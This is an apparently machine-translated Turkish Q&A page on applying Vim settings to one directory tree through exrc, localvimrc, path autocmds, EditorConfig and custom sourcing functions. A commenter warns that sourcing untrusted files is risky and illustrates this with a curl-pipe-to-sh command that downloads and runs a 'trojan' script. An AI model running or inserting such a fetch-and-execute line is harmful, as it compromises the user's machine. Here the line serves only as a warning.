Ayarları yalnızca bir dizin ağacına uygulama


33

İşimde ts2 standart kullanıyoruz ; benim kişisel tercihim 4, hobi projelerim için kullandığım şeydir ve miras aldığımız bu diğer projenin sözleşmesi var ts=8.

Ayrıca proje bazında ayarlamak istediğim bazı ayarlar var (örneğin katlama). Her bir projenin kurallarına saygı duymak istediğimden, bu ayarları dosya türüne dayandırmak veya dosyanın kullandığına bağlı olarak bunları otomatik olarak belirlemek iyi bir seçenek değildir .

Vim'in tüm dosyalara bir model eklemeden bir proje için geçerli olan bir ayar dosyasını (bir dizin ağacındaki her şeyi) kullanmasını sağlayabilir miyim?


Yanıtlar:


19

Bunu yapmanın birkaç hafif yolu var.

  1. Verilen isim için bir dosya olup olmadığını kontrol edin ve kaynak

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    Dosya örnekte gizli, ancak isteğe bağlı.

  2. Yerel .vimrcdosyalar (eklenti ile aynı değil)

    set exrc
    

    Bu 1'e benzer, ancak dosya ".vimrc" olarak adlandırılır.

    Buna eşlik etmek için ortak bir öneri kullanmaktır.

    set secure
    

    hangi bir .vimrcdosyanın çalışan kabuk komutları gibi potansiyel olarak tehlikeli şeyler yapmasını engeller . Buradaki fikir, .vimrckötü bir şey yapan başka birinin yazdığı bir dosyayı okumak istememekti .

  3. Geçerli yolu kontrol eden otomatik komutlar

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Kullandığım seçenek bu. Farklı projeler arasında çok fazla değişiklik yapmıyorum, bu yüzden YMMV ama sadece bir veya iki şeyi yola dayanarak yapmak ve bunun içinde kalmasını istiyorsanız .vimrcbu hoş ve basit.


Seçenek 1 ve 2'nin bu yorumda açıklanan aynı sınırlamaya sahip olduğunu unutmayın : alt dizinler için tekrarlı olarak geçerli değildir.

15

Bu amaçla localvimrc kullanıyorum .

.lvimrcProje ayarlarınızla projenin içine bir koyun ve bu ayarlar içindeki ayarları geçersiz kılar .vimrc.

Varsayılan olarak, bu dosyayı kaynaklamak isteyip istemediğiniz sorulur, örneğin:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Bu, rastgele (güvenilmeyen) vimrc dosyalarının tedarik edilmesini önlemektir. Bu can sıkıcı bulursanız, kurulum a can ait beyaz listesi .lvimrcdosyalar g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Ya da tamamen onay isteme işlemini devre dışı bırakabilirsiniz set g:localvimrc_ask = 0. Yine de bu önerilmez.


5

Merkezi yapılandırma

Belirli komutları / yerel istisnaları merkezi olarak yapılandırmanız uygunsa, aşağıdaki otomatik cmcm'leri kendi içine koyabilirsiniz ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Kullanımı önemlidir :setlocalyerine :setaynı şekilde ve :map <buffer> ...ve :command! -buffer ....

Öte yandan, projeyle birlikte belirli bir yapılandırmanın depolanmasını istiyorsanız (ve bunu tüm modellere modellerle gömmek istemiyorsanız ), aşağıdaki iki seçeneğiniz vardır:

Yerleşik işlevselliğe sahip yerel yapılandırma

Vim'i her zaman proje kök dizininden başlatırsanız, yerleşik

:set exrc

Bir .vimrcdosyanın geçerli dizinden okunmasını sağlar . Sen yerleştirebilirsiniz :set ts=4 sw=4orada komutları.

Eklenti ile yerel yapılandırma

Aksi takdirde, bir eklentinin yardımına ihtiyacınız vardır; vim.org'da birkaç tane var; Ben tavsiye edebilir localrc eklentisi , hatta yerel filetype özgü konfigürasyon sağlayan.

Dosya sisteminden okuma yapılandırmasının güvenlik çıkarımı olduğuna dikkat edin; isteyebilirsin :set secure.


2
.exrcSon derece sınırlı olduğuna dikkat edin: proje kavramı geçerli dizinde durur, yani alt dizinlerdeki dosyalar projeye ait değildir.
Luc Hermitte

4

Orada Editör Yapılandırma yeni satır stilleri ve diğer şeyler ile birlikte tabstop ayarları gibi proje düzeyi yapılandırmaları tanımlamak için izin verir proje. Vim dahil olmak üzere her türlü editör için pek çok eklenti var . Ayrıca, farklı dosya türleri için ayarları tanımlamanıza izin verir.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

Bunu yazdım ve projelerime ve alt projelerime .vimsettings dosyalarını yerleştirmeme izin vermek için .vimrc'ime ekledim.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

Bu eserlerin olsa da, sadece bir dosya kaynak ve infaz konum beri tehlikeli olarak kabul edilebilir bütün (örneğin kabuk komutları, dahil olmak üzere komutları system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij

0

Bunu istedim, bu yüzden sadece yerel olarak uyguladım. "Rasgele kod yürütme" ile ilgilenmiyorum ama bu basit ihtiyaçlar için işe yarayabilir. Dosya adlarını gerektiği gibi ayarlayın.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Bu local.vimrcaslında, başka bir yerde kaynak kontrolünde tutabileceğim, şirket içi vimrc dosyalarımın herhangi bir yerinde bulunan ve tüm yapılandırmamı başka makinelere taşımayı kolaylaştıran ya da bir şirketi ya da başka bir şeyi ziyaret ettiğimde, bir dosyaya bir bağlantıdır. . Basamaklı yapılandırmalar kullanılabilir, ancak pratikte bu işlevselliğe ihtiyacım yok. Ayrıca F8, bulunan dosyayı ve "ana" dosyamı .vimrcyeni bir sekmede açmam için ...

Bu yerel yapılandırmaların içinde, açılmış her dosya için ayrıştırıldığından, eşlemeleri ve ayarları arabellek-yerel olarak ayarladığınızdan emin olun. Örneğin

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.